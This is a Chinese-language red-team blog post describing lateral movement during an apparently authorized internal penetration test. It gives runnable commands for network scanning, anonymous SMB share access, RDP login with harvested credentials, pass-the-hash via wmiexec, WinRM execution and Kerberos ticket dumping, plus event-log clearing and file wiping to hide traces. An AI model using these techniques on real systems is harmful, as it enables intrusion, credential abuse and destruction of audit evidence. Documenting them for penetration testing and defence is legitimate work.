一、渗透环境里的「惊喜」:一次不起眼的横向移动

事情的起因看似平常:我们受邀对一家电商企业进行一次授权的内部安全评估。初期的信息收集和外部攻防较为顺利,通过钓鱼邮件成功拿下了某个低权限的普通员工账户。这是我们红队行动的经典开局,但如何从这个普通用户的身份中挖掘出更大的价值,才是考验攻击者经验的关键。

在内网信息收集的过程中,我们发现了一个有趣的现象:目标网络中存留了一些暴露的共享文件夹,内含质量参差不齐的配置文件和脚本。当时并未抱太大希望,但深入分析后,却意外发现了一些硬编码的凭据。随后,这些凭据成了我们在整个内网中横向移动的突破口。

黑客示意图

下面的章节,我将带你走进这个真实的渗透案例,展示如何一步步横向移动、扩大战果,最终获取内网关键资产。

---

二、开局不利?用信息收集找线索

在横向移动中,内网的信息收集是第一步。我们需要从多个维度快速获取目标内网的拓扑结构、主机信息、用户情况,并筛选出高价值的攻击目标。以下是我的常用策略和工具。

用Go编写轻量级扫描器

黑客示意图

在内网中,“低调”是王道。运用Go语言编写一个轻量级的扫描器,可以快速扫描目标网络的活跃主机,并解析开放端口和服务信息。

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net&quot; &quot;time&quot; )

func scanPort(protocol, hostname string, port int) bool { address := fmt.Sprintf(&quot;%s:%d&quot;, hostname, port) conn, err := net.DialTimeout(protocol, address, 2*time.Second) // 2秒超时 if err != nil { return false } conn.Close() return true }

func main() { target := &quot;192.168.1.0/24&quot; // 替换为目标网段 ports := []int{21, 22, 80, 443, 445, 3389}

for i := 1; i &lt;= 254; i++ { ip := fmt.Sprintf(&quot;192.168.1.%d&quot;, i) for _, port := range ports { isOpen := scanPort(&quot;tcp&quot;, ip, port) if isOpen { fmt.Printf(&quot;[+] 主机: %s, 端口: %d 开放\n&quot;, ip, port) } } } }</code></pre>

运行这个扫描器,可以快速判断哪些主机和端口是开放的。虽然比不上专业工具的功能,但它胜在“干净”、低噪声,特别适合在初期测试中用来踩点。

SMB共享文件夹的意外发现

扫描结果中,445端口是开放的,我随即试着用crackmapexec工具探测目标系统的SMB共享:

黑客示意图

<pre><code class="language-shell">crackmapexec smb 192.168.1.100 -u &#039;&#039; -p &#039;&#039;</code></pre>

成功抓取到多个共享资源,其中一个文件夹\\192.168.1.100\configs引起了我的注意。通过匿名访问,我下载了里面的文件,发现了某些疑似密码的内容。

---

三、硬编码密码与凭据滥用:突破口的艺术

共享文件夹中的某些配置文件,记录了服务的硬编码密码。通过对文件内容的分析,我发现了一条RDP凭据,格式如下:

<pre><code>username: corpadmin password: P@ssw0rd123!</code></pre>

这类“低吊果实”常常出现在渗透中。很多企业的管理员习惯将敏感信息写死在配置文件里,却没有意识到文件共享的安全隐患。

接下来,重点是验证这些凭据的有效性。

利用RDP尝试登录

使用工具xfreerdp测试RDP登录:

<pre><code class="language-shell">xfreerdp /u:corpadmin /p:P@ssw0rd123! /v:192.168.1.100</code></pre>

很快,我便登录成功,拿到了一个高权限的域账户。到此为止,内网的横向移动已经打开了一道大门。

---

四、内网横向移动技巧:从单点突破到大面积渗透

横向移动的目标在于扩大权限、渗透更多的关键主机。以下是我常用的几种方法。

利用Pass-The-Hash

在Windows环境下,凭据通常以哈希值的形式存储。拿到哈希值后,我们可以通过“Pass-The-Hash”技术进行身份冒充。使用impacket中的wmiexec.py工具可以快速执行:

<pre><code class="language-shell">python3 wmiexec.py corp.local/[email protected] -hashes :aad3b435b51404eeaad3b435b51404ee</code></pre>

PowerShell远程命令执行

如果目标开启了WinRM服务,可以通过PowerShell远程执行命令:

<pre><code class="language-shell">$session = New-PSSession -ComputerName 192.168.1.200 -Credential (Get-Credential) Invoke-Command -Session $session -ScriptBlock { whoami }</code></pre>

通过这种方法,可以方便地在多个主机间切换。

利用Kerberos票据

在获取域账户后,可尝试利用Kerberos票据进行进一步的攻击。例如使用Rubeus工具提取TGT票据:

<pre><code class="language-shell">Rubeus.exe dump /nowrap</code></pre>

黑客示意图

然后利用票据冒充身份,访问更多的内网资源。

---

五、痕迹清除:当一切结束时

渗透结束后,务必清理自己在目标环境中的痕迹。这里提供几个实用方法:

清理日志

在Windows系统中,删除日志文件可以用以下命令:

<pre><code class="language-shell">wevtutil cl Application wevtutil cl Security wevtutil cl System</code></pre>

隐藏工具

将上传的工具和脚本删除,并覆盖痕迹:

<pre><code class="language-shell">del /f /s /q %temp%\* &gt; nul cipher /w:C:\temp</code></pre>

---

六、经验小结:从细节中找到机会

回顾整个渗透过程,横向移动的成功关键在于信息收集的细致程度。很多时候,一些意想不到的细节往往会成为突破口,例如共享文件夹、硬编码凭据等。

此外,工具的选择和使用技巧也是关键。在内网中,“武器”越轻量、越隐蔽,成功的概率就越高。希望这篇文章能给你带来一些启发。记住,这些技术仅限于合法授权下的安全测试中使用!